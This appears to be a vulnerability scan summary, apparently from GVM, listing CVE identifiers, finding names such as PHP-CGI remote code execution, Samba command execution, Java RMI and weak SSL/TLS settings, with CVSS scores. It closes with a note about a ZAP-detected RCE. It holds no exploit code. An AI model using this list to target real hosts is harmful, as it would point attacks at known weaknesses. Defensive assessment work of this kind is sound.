CVE-1999-0501 CVE-1999-0502 CVE-1999-0507 CVE-1999-0508 CVE-2001-1594 CVE-2013-7404 CVE-2017-8218 CVE-2018-19063 CVE-2018-19064	FTP Brute Force Logins Reporting	1	2	7.5 (High)
CVE-1999-0651	The rlogin service is running	1	1	7.5 (High)
CVE-1999-0651	rsh Unencrypted Cleartext Login	1	1	7.5 (High)
CVE-2011-3556	Java RMI Server Insecure Default Configuration RCE Vulnerability	1	1	7.5 (High)
CVE-2012-1823 CVE-2012-2311 CVE-2012-2336 CVE-2012-2335	PHP-CGI-based setups vulnerability when parsing query string parameters from php...	1	1	7.5 (High)
CVE-2014-0224	SSL/TLS: OpenSSL CCS Man in the Middle Security Bypass Vulnerability	1	1	7.4 (High)
CVE-2009-4898	TWiki Cross-Site Request Forgery Vulnerability - Sep10	1	1	6.8 (Medium)
CVE-2011-0411 CVE-2011-1430 CVE-2011-1431 CVE-2011-1432 CVE-2011-1506 CVE-2011-1575 CVE-2011-1926 CVE-2011-2165	Multiple Vendors STARTTLS Implementation Plaintext Arbitrary Command Injection V...	1	1	6.8 (Medium)
CVE-1999-0497	Anonymous FTP Login Reporting	1	1	6.4 (Medium)
CVE-2018-20212	TWiki < 6.1.0 XSS Vulnerability	1	1	6.1 (Medium)
CVE-2012-6708	jQuery < 1.9.0 XSS Vulnerability	1	1	6.1 (Medium)
CVE-2009-1339	TWiki Cross-Site Request Forgery Vulnerability	1	1	6.0 (Medium)
CVE-2007-2447	Samba MS-RPC Remote Shell Command Execution Vulnerability - Active Check	1	1	6.0 (Medium)
CVE-2013-2566 CVE-2015-2808 CVE-2015-4000	SSL/TLS: Report Weak Cipher Suites	1	1	5.9 (Medium)
CVE-2016-0800 CVE-2014-3566	SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection	1	2	5.9 (Medium)
CVE-2003-1567 CVE-2004-2320 CVE-2004-2763 CVE-2005-3398 CVE-2006-4683 CVE-2007-3008 CVE-2008-7253 CVE-2009-2823 CVE-2010-0386 CVE-2012-2223 CVE-2014-7883	HTTP Debugging Methods (TRACE/TRACK) Enabled	1	1	5.8 (Medium)
CVE-2008-0149 CVE-2023-49282 CVE-2023-49283	phpinfo() Output Reporting (HTTP)	1	1	5.3 (Medium)
CVE-1999-0678	/doc directory browsable	1	1	5.0 (Medium)
CVE-2011-1473 CVE-2011-5094	SSL/TLS: Renegotiation DoS Vulnerability (CVE-2011-1473, CVE-2011-5094)	1	2	5.0 (Medium)
CVE-2005-0283	QWikiwiki directory traversal vulnerability	1	1	5.0 (Medium)
CVE-2015-0204 CVE-2011-3389	SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection	1	2	4.3 (Medium)
CVE-2011-4969	jQuery < 1.6.3 XSS Vulnerability	1	1	4.3 (Medium)
CVE-2010-4480	phpMyAdmin 'error.php' Cross Site Scripting Vulnerability	1	1	4.3 (Medium)
CVE-2012-0053	Apache HTTP Server 'httpOnly' Cookie Information Disclosure Vulnerability	1	1	4.3 (Medium)
CVE-2015-0204	SSL/TLS: RSA Temporary Key Handling 'RSA_EXPORT' Downgrade Issue (FREAK)	1	1	4.3 (Medium)
CVE-2015-4000	SSL/TLS: 'DHE_EXPORT' Man in the Middle Security Bypass Vulnerability (LogJam)	1	1	3.7 (Low)
CVE-2014-3566	SSL/TLS: SSLv3 Protocol CBC Cipher Suites Information Disclosure Vulnerability (...	1	2	3.4 (Low)
CVE-1999-0524	ICMP Timestamp Reply Information Disclosure	1	1	2.1 (Low)

Remote Code Execution - CVE-2012-1823 details of which have been detailed in this document and detected by zap.

A full GVM report is available to download in the same repo as this document.